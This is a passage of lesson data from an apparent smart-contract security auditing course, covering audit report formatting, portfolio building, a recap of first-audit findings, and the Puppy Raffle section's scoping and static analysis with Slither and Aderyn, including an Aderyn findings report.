error in the LaTex syntax either in your markdown using it, or the template itself. Replace the block of LaTeX at the top of your `report.md` file with the following:\n\n ```\n \\begin{titlepage}\n \\centering\n {\\Huge\\bfseries Protocol Audit Report\\par}\n \\vspace{2cm}\n \\begin{figure}[h]\n \\centering\n \\includegraphics[width=0.5\\textwidth]{logo.pdf}\n \\end{figure}\n \\vspace{2cm}\n {\\Large Version 1.0\\par}\n \\vspace{1cm}\n {\\Large\\itshape equious.eth\\par}\n \\vfill\n {\\large \\today\\par}\n \\end{titlepage}\n ```\n\n This should resolve the error.\n", + "updates": [] + }, + { + "lessonId": "d59eead2-453d-446c-b32b-86bcff256f96", + "number": 29, + "title": "Building Your Portfolio", + "slug": "building-your-portfolio", + "folderName": "29-building-your-portfolio", + "description": "", + "duration": 2, + "videoUrl": "28oC00nqKBGCBI6ItZ9LTxe8VgUxPK02bxgw9YqgRJUlI", + "rawMarkdownUrl": "/routes/security/3-first-audit/29-building-your-portfolio/+page.md", + "markdownContent": "---\ntitle: Building Your Portfolio\n---\n\n_Follow along with this video:_\n\n---\n\n### Building a Portfolio\n\nNow that we've done all this amazing work, we absolutely need to show it off. The world needs to know what we're capable of.\n\n---\n\nCreate a new repository on your GitHub profile. Name it whatever you'd like. I'm going to name mine `updraft-security-portfolio`.\n\n\n\n---\n\nNext, select `upload an existing file`.\n\n\n\nNow, rename your report something appropriate. It's important to date your audit reports! I'll name mine `2023-12-19 PasswordStore Audit Report`.\n\n---\n\nDrag and drop your PDF into the available space on GitHub. In VS Code you can `right-click` your PDF and select `Reveal in File Explorer` or `Reveal in Finder` for PC and Mac respectively.\n\n\n\n---\n\nSelect `Commit Changes` at the bottom, and that's all there is to it! You can add your own README describing the contests of this repo and your security journey. Great work!\n", + "updates": [] + }, + { + "lessonId": "5d5a9e52-697b-4fd3-a2c2-d0a0b9c0c97e", + "number": 30, + "title": "Exercises", + "slug": "exercises", + "folderName": "30-exercises", + "description": "", + "duration": 4, + "videoUrl": "IXCGXVL01xRERCplfZDhaObUY2ydD02opBPet01g02DMtos", + "rawMarkdownUrl": "/routes/security/3-first-audit/30-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n---\n\n### Congratulations!\n\nI sincerely want to congratulate you on making it through your first audit experience. It's a giant leap forward in your journey to beefing up your security skills.\n\nThis codebase was obviously very small, with fairly obvious bugs, the difficulty is going to ramp up from here. Don't worry if you had a hard time spotting these vulnerabilities. So much of successful auditing comes with practice and familiarity.\n\nBy the end of this course, your portfolio will contain not one, but six impressively professional security reviews! The 'Final Boss' audit `Vault Guardians` is going to really test our skills. SO EXCITING.\n\nBefore we conclude section 3, there are 2 exercises I have for you to complete.\n\n1. **Tweet about your progress**: Publicly acknowledging and sharing your small wins often gives a big motivational boost. Tweet about your experience so far, and don't forget to join the community discussions on platforms like [**Discord**](https://discord.gg/cyfrin) and [**GitHub**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions).\n2. **Sign up for Code Hawks**: Now comes the practical application of what you have learned so far. After completing this task, you will be ready to start performing \"competitive audits\". Although there are a few more skills for you to learn, you're overwhelmingly ready for this challenge! So, sign up [**here**](https://www.codehawks.com/).\n\nSection 3 NFT Challenge 👀\n\n[Storage Refresher! (Arb)](https://arbiscan.io/address/0x89edc4c74810bedbd53d7da677eb420dc0154b0b)\n\n[Storage Refresher! (Sepolia)](https://sepolia.etherscan.io/address/0xa2626be06c11211a44fb6ca324a67ebdbcd30b70)\n\n### Take a Break\n\nNow is a perfect time to take a break (ice cream). Our next security review is a big one. Relax and bask in your accomplishments! Well done!\n", + "updates": [] + }, + { + "lessonId": "738358c9-f40c-4398-b434-550c0c6e4226", + "number": 31, + "title": "Recap & Congrats", + "slug": "recap-&-congrats", + "folderName": "31-recap-&-congrats", + "description": "", + "duration": 9, + "videoUrl": "dUiPgdeN7ksisuykAP4mpgPxn33jurP2fWIeDoHDCyk", + "rawMarkdownUrl": "/routes/security/3-first-audit/31-recap-&-congrats/+page.md", + "markdownContent": "---\ntitle: Recap & Congrats\n---\n\n_Follow along with this video:_\n\n---\n\nLet's recap everything we've learnt in this lesson so far - it's been a lot.\n\n### Onboarding\n\nWe learnt the importance of thoroughly onboarding a protocol. Often we'll receive audit requests without context or preparation (ie random etherscan links) and it's our job to advise the protocol that these are inappropriate. We should educate them on steps required to be ready for an audit. Think back to our [**minimal-onboarding-questions**](https://github.com/Cyfrin/3-passwordstore-audit/blob/onboarded/minimal-onboarding-questions.md)\n\n**About the Project** - Summary of the project\n\n**Setup** - What tools are needed to setup the codebase & test suite?\n\n**Testing** - How to run tests, how to see test coverage\n\n**Scope** - Specific details of the security review, which contracts are to be audited, the specific commit hash being reviewed\n\n**Compatibilities** - Chains for deployment, compatible tokens, solc versions\n\n**Roles** - What are the different actors of the system? What are their powers meant to be?\n\n**Known Issues** - Any issues the protocol is aware of already.\n\n### Codebase Size\n\nAnother thing we covered was how to determine a codebase's size and complexity using tools like [**Solidity Metrics**](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics) and [**CLOC**](https://github.com/AlDanial/cloc).\n\nThese tools allow us to count lines of code, estimate complexity and - in the case of Solidity Metrics - see breakdowns of how the protocol interconnects and which functions are visible.\n\nThese tools are primarily valuable in that they allow us the ability to estimate a work load or timeframe required for a thorough audit.\n\n### The phases of an audit\n\nWe covered the phases of an audit and each steps within.\n\n- Initial Review\n - Scoping - This is getting a sense of the protocol. In this phase, auditors go through the code to scope it. This gives an idea of how much time might be required for the audit, which can then be used to establish pricing. Key tasks include identification of all the contract’s dependencies and a general overview of the code. At this stage, auditors don’t dig deep into anything yet.\n - Reconnaissance - Here an auditor starts walking through the code, running tools, interacting with the protocol in an effort to break it.\n - Vulnerability Identification - An auditor determines which vulnerabilities are present and how they're exploited as well as mitigation.\n - Reporting - Compile a report detailing all of the identified vulnerabilities and recommendations to make the protocol more secure.\n ***\n- Protocol Fixes\n - Fixes Issues\n - Retests and adds tests\n- Mitigation Review\n - Reconnaissance\n - Vulnerability Identification\n - Reporting\n\n### The Tincho\n\nThe legendary Tincho from [**The Red Guild**](https://blog.theredguild.org/) blessed us with his wisdom and experience, outlining the approach he takes while peforming a security review. He stresses:\n\n- Read the docs\n- Take notes often - right in the codebase\n- Small > Large - start on the easiest contracts and advance into more complex ones\n- Leverage tools like [**Solidity Metrics**](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics) to breakdown a hierarchy of complexity/size within a codebase\n\n### First Security Review\n\nWe performed our first security review of the PasswordStore protocol!\n\nApplying the steps of a security review we were able to uncover 3 vulnerabilities within the protocol:\n\n---\n\n[H-1] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n[H-2] Storing the password on-chain makes it visible to anyone and no longer private\n\n[I-1]The `PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect.\n\n---\n\nWe also learnt how to classify the severities of our findings! Remember the matrix:\n\n| | | Impact | | |\n| ---------- | ------ | ------ | ------ | --- |\n| | | High | Medium | Low |\n| | High | H | H/M | M |\n| Likelihood | Medium | H/M | M | M/L |\n| | Low | M | M/L | L |\n\n1. **High Impact**: `funds` are directly or nearly `directly at risk`, or a `severe disruption` of protocol functionality or availability occurs.\n2. **Medium Impact**: `funds` are `indirectly at risk` or there’s `some level of disruption` to the protocol’s functionality.\n3. **Low Impact**: `Fund are not at risk`, but a function might be incorrect, or a state handled improperly etc.\n\n---\n\n1. **High Likelihood**: Highly probably to happen.\n - a hacker can call a function directly and extract money\n2. **Medium Likelihood**: Might occur under specific conditions.\n - a peculiar ERC20 token is used on the platform.\n3. **Low Likelihood**: Unlikely to occur.\n - a hard-to-change variable is set to a unique value at a specific time.\n\n### Creating Findings Reports\n\nWe covered how to turn those findings into a professional breakdown using this template:\n\n---\n\n```\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:** - Succinctly detail the vulnerability\n\n**Impact:** - The affects the vulnerability has\n\n**Proof of Concept:** - Programmatic proof of how the vulnerability is exploited\n\n**Recommended Mitigation:** Recommendations on how to fix the vulnerability\n```\n\n---\n\n### Timeboxing\n\nWe briefly covered the importance of timeboxing. We'll always be able to further scrutinize a codebase - time management and constraining our time investments is how we become efficient security reviewers.\n\n### Professional PDF Report\n\nAnd finally, we walked through the steps needed to create a beautiful PDF report using our [**audit-report-templating**](https://github.com/Cyfrin/audit-report-templating) repo.\n\nLeveraging new tools like [**Pandoc**](https://pandoc.org/installing.html) and [**LaTex**](https://www.latex-project.org/) we were able to convert our markdown report into a presentable PDF that we're now proudly displaying on our own GitHub Security Reviewer portfolio.\n\n### Wrap Up\n\nWooooow. That's a lot when you put it all together like that. You should be incredibly proud of your progress so far. Take a break, stretch your legs, tweet your successes and then come back.\n\nThe next security review is going to be _SICK_.\n", + "updates": [] + } + ] + }, + { + "number": 4, + "sectionId": "131e6eb2-4fa2-4f48-a788-33a008abf278", + "title": "Puppy raffle", + "slug": "puppy-raffle", + "folderName": "4-puppy-raffle", + "lessons": [ + { + "lessonId": "9b46fac7-d345-4a64-afa2-54f6f7c2c8fe", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 5, + "videoUrl": "02Yjab00x9Nd01Dn5e1Z3oWthPxq91ihNv5uHIASObiJF00", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n---\n\n## Puppy Raffle Audit\n\nWelcome to Section 4: Puppy Raffle Audit! In addition to strengthening our skills in manual review, in this section we'll be introducing powerful tools and leveraging `static analysis` to help us secure this protocol.\n\nWe'll see the differences between a private audit report and a competitive audit submission and be introduced to the process of competing in a CodeHawks First Flight!\n\n### CodeHawks First Flights\n\nCodeHawks First Flights offer an excellent platform for budding smart contract security researchers. This platform contains relatively easy-to-understand codebases that resemble those you will find in this course.\n\nIf you are a beginner, they are a perfect opportunity to get live auditing experience and build upon the things you've learnt in a practical setting. For experienced auditors, they serve as a chance to engage in the community and itterate on your established skills.\n\n\n\nWe'll be going over how to submit an awesome competitive finding in this section.\n\n### Tooling\n\nAs mentioned above, we'll be using new tools to help us in finding vulnerabilities and familiarizing ourselves with `static analysis`. We'll be using:\n\n- [**Slither**](https://github.com/crytic/slither) - A pythonic static analysis tool compatible with Solidity and Vyper\n- [**Aderyn**](https://github.com/Cyfrin/aderyn) - Built in Rust by _Alex Roan_, Aderyn traverses Abstract Syntax Trees to highlight suspected vulnerabilities.\n\nThrough this section, you will:\n\n- Familiarize yourself with your first set of tooling.\n- Understand what static analysis is and its role in enhancing protocol security.\n- Gain an insight into the different exploits in this codebase.\n- Finally, learn how to write reports of competitive audits and differentiate them from private audits.\n\n### So Many Bugs\n\nOur previous codebase was quite small, Puppy Raffle has more to it and as a result, there are many more bugs to find! There are at least FOUR HIGHs to find in this repo (and likely some I didn't even account for 😋).\n\n### Case Studies\n\nAs we uncover vulnerabilities in the Puppy Raffle codebase, we'll dive into real world case studies detailing times these vulnerabilities were exploited in the wild.\n\nThis should give you real insight into what's at stake as we're performing security reviews and really instill that these efforts of ours matter.\n\n### Exercises\n\nAt the end of the section we'll have _even more_ excercises for you to expand on your knowledge and challenge yourself beyond the course's teachings. These are your opportunities to branch out, network and gain additional experience.\n\nThis includes participating in a CodeHawks First Flight or a competitive audit! Get ready!\n\n### Prep for Puppy Raffle\n\nIf you take a look at the [**repo**](https://github.com/Cyfrin/4-puppy-raffle-audit) associated with this section, you'll see a fairly robust README already supplied. For this review, we're assuming the protocol has already undergone some degreee of onboarding and they've provided us a respectable repo.\n\nI will transparently point out that, much like our previous protocol review, this repo has multiple branches, one of which is the `audit-data` branch. I **STRONGLY** encourage you to resist peeking in this branch until the end. The `audit-data` branch effectively serves as an `answer key`, in which all the vulnerabilities and write-ups can be found.\n\nGoing through the codebase throughout the course, and appreciating each step is how you're going to build these skills. Uncovering the attack vectors is how you build familiarity with these risks. Skipping over steps is only going to harm your progress. Build the habits, do the work.\n", + "updates": [] + }, + { + "lessonId": "0af77dc7-3aa4-4ba0-9d07-2cf85bacea1c", + "number": 2, + "title": "Puppy raffle primer", + "slug": "puppy-raffle-primer", + "folderName": "2-puppy-raffle-primer", + "description": "", + "duration": 2, + "videoUrl": "QrZX01ONG5oJ1ciOXhw1B2G88pF9BWB5IP3FIw8pgQAw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/2-puppy-raffle-primer/+page.md", + "markdownContent": "---\ntitle: Puppy Raffle Primer\n---\n\n_Follow along with this video:_\n\n---\n\n### Puppy Raffle Primer\n\nAlright! Before we jump into this process I want to mention a couple things:\n\n1. Do **not** look at the `audit-data` branch of the course [**repo.**](https://github.com/Cyfrin/4-puppy-raffle-audit). This is our `answer key`.\n\n2. Take some time to scope the codebase yourself before proceeding. Try to go through the process we just did with PasswordStore and challenge yourself to find what you can here.\n\nDon't spend _too much_ time trying things yourself. Spend 20-30 minutes doing your best and if you feel like you're getting nowhere, or you're unsure what to do - just stop. We can do it together.\n\nIf you feel like you're cooking and you've found a few bugs - keep going. Repeating this process and becoming comfortable with doing it yourself is an important part of learning.\n\nPuppy Raffle is a phenomenal codebase to gain valuable security review experience on. So try your best on your own first, and when you're ready - let's move onto the Scoping phase together!\n", + "updates": [] + }, + { + "lessonId": "2951f741-904b-4b98-a3fc-91cd1c5fd334", + "number": 3, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "3-phase-1-scoping", + "description": "", + "duration": 4, + "videoUrl": "QXA0077rZrBDjU3JlIMEJJPM45AyU12RjdL1Y4sUax02g", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/3-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1 - Scoping\n---\n\n_Follow along with this video:_\n\n---\n\n### Puppy Raffle Scoping\n\nNow that you've **definitely** tried reviewing the codebase on your own, let's start scoping things out together.\n\nTake a look at the [**Puppy Raffle Repo**](https://github.com/Cyfrin/4-puppy-raffle-audit)'s README\n\n\n\n### README Overview\n\nThis README looks pretty good. We've got all the expected sections and necessary details.\n\nRemember the things we're looking for:\n\n- **About**\n- **Setup**\n- **Scope**\n- **Compatibilities**\n- **Roles**\n- **Known Issues**\n\nWe should see clear instructions under [**Getting Started**](https://github.com/Cyfrin/4-puppy-raffle-audit#getting-started) on how to get set up locally.\n\n```bash\ngit clone https://github.com/Cyfrin/4-puppy-raffle-audit.git\ncd 4-puppy-raffle-audit.git\nmake\n```\n\n> Take a brief look at your `Makefile`. It's worthwhile to appreciate what it's actually doing. Our `Makefile` cleans our repo, installs necessary packages (Foundry, OpenZeppelin and base64) and then runs `forge build` to compile everything.\n\n### Testing\n\nOnce we've run our `make` command, we should check out the protocol tests. I like to start by running `forge coverage` to see what kind of baseline we're starting with.\n\n\n\nThing's don't look great.\n\nFrom a competitive audit point of view, this might be exciting, there are lots of opportunities for bugs to be hiding in this codebase.\n\nIf we were doing a private audit, we're less optimistic. Poor test coverage is indicative of an immature codebase and we're responsible for securing this protocol!\n\n### README Continued\n\nFurther down the README we see the scope details. Invaluable information.\n\nBy using the command `git checkout ` we can assure our local repo is the correct version to be auditing.\n\nWe also see exactly which contracts are under review.\n\n ./src/\n └── PuppyRaffle.sol\n\nMoving on, we should take notice of the **Compatibilities** section.\n\n\n\nThat Solc version is strange - definitely make note of it.\n\nFinally, they've also outlined the Roles of the protocol for us. Knowing this intended functionality is important in being able to spot when things go wrong.\n\n- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.\n- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.\n\nThere are no _known_ issues. Hehe.\n\n### Wrap Up\n\nThings are looking great so far, the protocol has provided us with lots of documentation to get started with. We've even spotted an oddity already.\n\nIn the next lesson we'll begin using our tools to spot vulnerabilities before we even start.\n", + "updates": [] + }, + { + "lessonId": "d6c942d9-d7fb-4b1b-a29b-14e55b2a8f6e", + "number": 4, + "title": "Tooling: Slither", + "slug": "tooling-slither", + "folderName": "4-tooling-slither", + "description": "", + "duration": 6, + "videoUrl": "WH00nL8yLV00AYJRsTcNGbYUJeWDB8qeABsODj7ZilE3o", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/4-tooling-slither/+page.md", + "markdownContent": "---\ntitle: Tooling - Slither\n---\n\n_Follow along with this video:_\n\n---\n\n### Leveraging our Tools\n\nAuditing smart contracts is an arduous yet essential task in the blockchain realm. To facilitate this process, there are excellent tools to help auditors catch bugs efficiently. In this post, we'll explore two popular static analysis tools that can significantly speed up the auditing process: Slither and Aderyn. Having knowledge of these tools isn't just beneficial for auditors — anyone aiming to be a top developer should consider these tools as an essential part of their toolbox.\n\n### Static Analysis - Boosting Your Auditing Efficiency\n\n\n\nStatic analysis is a method where code is checked for potential issues without actually executing it. Essentially, it's a way to \"debug\" your code by looking for specific keywords in a certain order or pattern.\n\nThe most widely used tools for this purpose include [**Slither**](https://github.com/crytic/slither), developed by the [**Trail of Bits**](https://www.trailofbits.com/) team, and a Rust-based tool that we've developed known as [**Aderyn**](https://github.com/Cyfrin/aderyn).\n\n> **Note**: It's important to remember that these tools should be run before going for an audit.\n\n### Slither - A Python-Powered Static Analysis Tool\n\nSlither tops the charts as the most popular and potentially the most potent static analysis tool available. Built using Python, it offers compatibility with both Solidity and Vyper developments. An open-source project, Slither allows developers to add plugins via PR.\n\nThe Slither repo provides instructions on installation and usage.\n\nI want to bring your attention to the [**Detectors**](https://github.com/crytic/slither/wiki/Detector-Documentation) section of the documentation.\n\nThis document lists _all_ the vulnerabilities that Slither is checking for and recommendations for them.\n\nFor example:\n\n\n\nThis could have helped us with PasswordStore! It's easy to see how valuable these tools can be in making our work easier and more efficient.\n\n### Installing Slither\n\nWe won't go over the specifics of installation in this course. As intermediate developers, we should have some familiarity with this process.\n\nChoose the installation method that works best for you (Options outlined here), and if you run into issues don't hesitate to ask an AI like [**Phind**](https://www.phind.com/search?home=true) or [**ChatGPT**](https://chat.openai.com). They're great at debugging installation problems.\n\n> **Note:** In addition to Slither, you may need to install [**Python**](https://www.python.org/downloads/), if you haven't.\n\nOnce installed ensure everything is up-to-date with:\n\n```bash\npip3 install --upgrade slither-analyzer\n```\n\n### Running Slither\n\nThe Slither documentation outlines usage for us. Slither will automatically detect if the project is a Hardhat, Foundry, Dapp or Brownie framework and compile things accordingly.\n\nIn order to run slither on our current repo we just use the command:\n\n```bash\nslither .\n```\n\nThis execution may take some time, depending on the size of the codebase. If we run it on Puppy Raffle, we're going to get a _massive_ output of potential issues.\n\nThe output color codes potential issues:\n\n- **Green** - Areas that are probably ok, may be `informational` findings, we may want to have a look\n- **Yellow** - Potential issue detected, we should probably take a closer look\n- **Red** - Signifant issues detected that should absolutely be addressed.\n\nHere's an example of what some of these look like:\n\n\n\n### Wrap Up\n\nBy leveraging Slither, audits become more efficient, making it a fantastic tool for developers who are looking to minimize the time they spend on debugging and maximize their protocol's security.\n\n> Always remember, static analysis tools enhance our security review, they don't replace our manual efforts!\n", + "updates": [] + }, + { + "lessonId": "76b4b6ad-f6df-4073-8f6f-f87b91f2e2db", + "number": 5, + "title": "Tooling: Aderyn", + "slug": "tooling-aderyn", + "folderName": "5-tooling-aderyn", + "description": "", + "duration": 2, + "videoUrl": "cYAn1V8VKFyg4pDqHeigrlN2ttJhwI1ZQHZRKOFYLc8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/5-tooling-aderyn/+page.md", + "markdownContent": "---\ntitle: Tooling - Aderyn\n---\n\n_Follow along with this video:_\n\n---\n\n### Introducing Aderyn: A Rust Based Static Analysis Tool\n\nThe second powerful tool we'll be using in this course is a Rust-based analyzer, [**Aderyn**](https://github.com/Cyfrin/aderyn). This tool was created by the smart contract developer legend [**Alex Roan**](https://github.com/alexroan).\n\n### Installation of Aderyn\n\nBefore we can use `Aderyn`, we'll need to first install `Rust`. Like `Slither`, we won't go over the specifics of installation, but you can find a guide with installation options available to you [**here**](https://www.rust-lang.org/tools/install).\n\n> Remember: If you have issues with installation, AI is great at helping with this, you can also leverage the communities on Stack Overflow!\n\nOnce `Rust` has been installed, you can run the command `cargo install Aderyn`. This will install our tool.\n\n\n\n> **Note:** If you've already installed Aderyn, this command will also update you to the current version. Your terminal will advise if the tool is already installed.\n\n### Running Aderyn\n\nTo run Aderyn, the command is `Aderyn [OPTIONS] `. Since we're already in the root directory of our project, we can just run:\n\n```bash\naderyn .\n```\n\nRunning this command will compile our contracts, our terminal will display the usual compilation warnings - at the bottom of the output however, we can see _`Detectors run, printing report. Report printed to ./report.md`_\n\nWe should see this fine in our IDE explorer. If we open it up...\n\n
\nPuppy Raffle Aderyn Report\n\n# Aderyn Analysis Report\n\nThis report was generated by [Aderyn](https://github.com/Cyfrin/aderyn), a static analysis tool built by [Cyfrin](https://cyfrin.io), a blockchain security company. This report is not a substitute for manual audit or security review. It should not be relied upon for any purpose other than to assist in the identification of potential security vulnerabilities.\n\n# Table of Contents\n\n- [Aderyn Analysis Report](#aderyn-analysis-report)\n- [Table of Contents](#table-of-contents)\n- [Summary](#summary)\n - [Files Summary](#files-summary)\n - [Files Details](#files-details)\n - [Issue Summary](#issue-summary)\n- [Medium Issues](#medium-issues)\n - [M-1: Centralization Risk for trusted owners](#m-1-centralization-risk-for-trusted-owners)\n- [Low Issues](#low-issues)\n - [L-1: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`](#l-1-abiencodepacked-should-not-be-used-with-dynamic-types-when-passing-the-result-to-a-hash-function-such-as-keccak256)\n - [L-2: Solidity pragma should be specific, not wide](#l-2-solidity-pragma-should-be-specific-not-wide)\n - [L-3: Conditional storage checks are not consistent](#l-3-conditional-storage-checks-are-not-consistent)\n- [NC Issues](#nc-issues)\n - [NC-1: Missing checks for `address(0)` when assigning values to address state variables](#nc-1-missing-checks-for-address0-when-assigning-values-to-address-state-variables)\n - [NC-2: Functions not used internally could be marked external](#nc-2-functions-not-used-internally-could-be-marked-external)\n - [NC-3: Constants should be defined and used instead of literals](#nc-3-constants-should-be-defined-and-used-instead-of-literals)\n - [NC-4: Event is missing `indexed` fields](#nc-4-event-is-missing-indexed-fields)\n - [Wrap Up](#wrap-up)\n\n# Summary\n\n## Files Summary\n\n| Key | Value |\n| ----------- | ----- |\n| .sol Files | 1 |\n| Total nSLOC | 143 |\n\n## Files Details\n\n| Filepath | nSLOC |\n| ------------------- | ------- |\n| src/PuppyRaffle.sol | 143 |\n| **Total** | **143** |\n\n## Issue Summary\n\n| Category | No. of Issues |\n| -------- | ------------- |\n| Critical | 0 |\n| High | 0 |\n| Medium | 1 |\n| Low | 3 |\n| NC | 4 |\n\n# Medium Issues\n\n## M-1: Centralization Risk for trusted owners\n\nContracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.\n\n- Found in src/PuppyRaffle.sol [Line: 18](src/PuppyRaffle.sol#L18)\n\n ```solidity\n contract PuppyRaffle is ERC721, Ownable {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 167](src/PuppyRaffle.sol#L167)\n\n ```solidity\n function changeFeeAddress(address newFeeAddress) external onlyOwner {\n ```\n\n# Low Issues\n\n## L-1: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`\n\nUse `abi.encode()` instead which will pad items to 32 bytes, which will [prevent hash collisions](https://docs.soliditylang.org/en/v0.8.13/abi-spec.html#non-standard-packed-mode) (e.g. `abi.encodePacked(0x123,0x456)` => `0x123456` => `abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456)` => `0x0...1230...456`). Unless there is a compelling reason, `abi.encode` should be preferred. If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` [instead](https://ethereum.stackexchange.com/questions/30912/how-to-compare-strings-in-solidity#answer-82739).\nIf all arguments are strings and or bytes, `bytes.concat()` should be used instead.\n\n- Found in src/PuppyRaffle.sol [Line: 197](src/PuppyRaffle.sol#L197)\n\n ```solidity\n abi.encodePacked(\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 201](src/PuppyRaffle.sol#L201)\n\n ```solidity\n abi.encodePacked(\n ```\n\n## L-2: Solidity pragma should be specific, not wide\n\nConsider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`\n\n- Found in src/PuppyRaffle.sol [Line: 2](src/PuppyRaffle.sol#L2)\n\n ```solidity\n pragma solidity ^0.7.6;\n ```\n\n## L-3: Conditional storage checks are not consistent\n\nWhen writing `require` or `if` conditionals that check storage values, it is important to be consistent to prevent off-by-one errors. There are instances found where the same storage variable is checked multiple times, but the conditionals are not consistent.\n\n- Found in src/PuppyRaffle.sol [Line: 140](src/PuppyRaffle.sol#L140)\n\n ```solidity\n if (rarity <= COMMON_RARITY) {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 142](src/PuppyRaffle.sol#L142)\n\n ```solidity\n } else if (rarity <= COMMON_RARITY + RARE_RARITY) {\n ```\n\n# NC Issues\n\n## NC-1: Missing checks for `address(0)` when assigning values to address state variables\n\nAssigning values to address state variables without checking for `address(0)`.\n\n- Found in src/PuppyRaffle.sol [Line: 62](src/PuppyRaffle.sol#L62)\n\n ```solidity\n feeAddress = _feeAddress;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 150](src/PuppyRaffle.sol#L150)\n\n ```solidity\n previousWinner = winner;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 168](src/PuppyRaffle.sol#L168)\n\n ```solidity\n feeAddress = newFeeAddress;\n ```\n\n## NC-2: Functions not used internally could be marked external\n\n- Found in src/PuppyRaffle.sol [Line: 79](src/PuppyRaffle.sol#L79)\n\n ```solidity\n function enterRaffle(address[] memory newPlayers) public payable {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 96](src/PuppyRaffle.sol#L96)\n\n ```solidity\n function refund(uint256 playerIndex) public {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 189](src/PuppyRaffle.sol#L189)\n\n ```solidity\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n ```\n\n## NC-3: Constants should be defined and used instead of literals\n\n- Found in src/PuppyRaffle.sol [Line: 86](src/PuppyRaffle.sol#L86)\n\n ```solidity\n for (uint256 i = 0; i < players.length - 1; i++) {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 87](src/PuppyRaffle.sol#L87)\n\n ```solidity\n for (uint256 j = i + 1; j < players.length; j++) {\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 127](src/PuppyRaffle.sol#L127)\n\n ```solidity\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 132](src/PuppyRaffle.sol#L132)\n\n ```solidity\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 133](src/PuppyRaffle.sol#L133)\n\n ```solidity\n uint256 fee = (totalAmountCollected * 20) / 100;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 139](src/PuppyRaffle.sol#L139)\n\n ```solidity\n uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n ```\n\n## NC-4: Event is missing `indexed` fields\n\nIndex event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.\n\n- Found in src/PuppyRaffle.sol [Line: 53](src/PuppyRaffle.sol#L53)\n\n ```solidity\n event RaffleEnter(address[] newPlayers);\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 54](src/PuppyRaffle.sol#L54)\n\n ```solidity\n event RaffleRefunded(address player);\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 55](src/PuppyRaffle.sol#L55)\n\n ```solidity\n event FeeAddressChanged(address newFeeAddress);\n ```\n\n
\n\n---\n\n_**WOW!**_ We have a report of vulnerabilities already gorgeously formatted and ready to be added to our audit report.\n\n### Wrap Up\n\nFast, and efficient, [**Aderyn**](https://github.com/Cyfrin/aderyn) offers a swift vulnerability report of your smart contracts which is almost ready to be presented. Aesthetically neat and structurally organized, the tool is a quick starter for anyone performing security reviews. We'll be leveraging the poweer of Aderyn throughout the course!.\n\nLet's look at one more tool briefly in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "3dec10d0-e6c7-4d0d-a220-fcdcad3d42c6", + "number": 6, + "title": "Tooling: Solidity Visual Developer", + "slug": "tooling-solidity-visual-developer", + "folderName": "6-tooling-solidity-visual-developer", + "description": "", + "duration": 3, + "videoUrl": "Dek01sy02wtQk00J2Kfrf4302V68TYm00VPBXMHYLxPIcYtM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/6-tooling-solidity-visual-developer/+page.md", + "markdownContent": "---\ntitle: Tooling - Solidity Visual Developer\n---\n\n_Follow along with this video:_\n\n---\n\n### Tools in our Belt\n\nWe've already got a handful of tools at our disposal.\n\n- `Slither`\n- `Aderyn`\n- `CLOC`\n\nWe also went over `Solidity Metrics` earlier, but let's take another look as `Puppy Raffle` is going to afford us some more interesting insight into the power of this tool.\n\n> Remember: you can right-click your `src` folder in the `Puppy Raffle` workspace and select `Solidity: Metrics` from the context menu to run the tool on that directory.\n\n### Solidity Metrics Insights\n\nScrolling to the bottom of the `Solidity: Metrics` report, take a look at the `Inheritence Graph`\n\n\n\nFrom this illustration we can see that the contract `PuppyRaffle` is of types `ERC721` and `Ownable`.\n\nA little further down we see a `Call Graph`\n\n\n\nThis provides us a clear reference of which functions are being called by 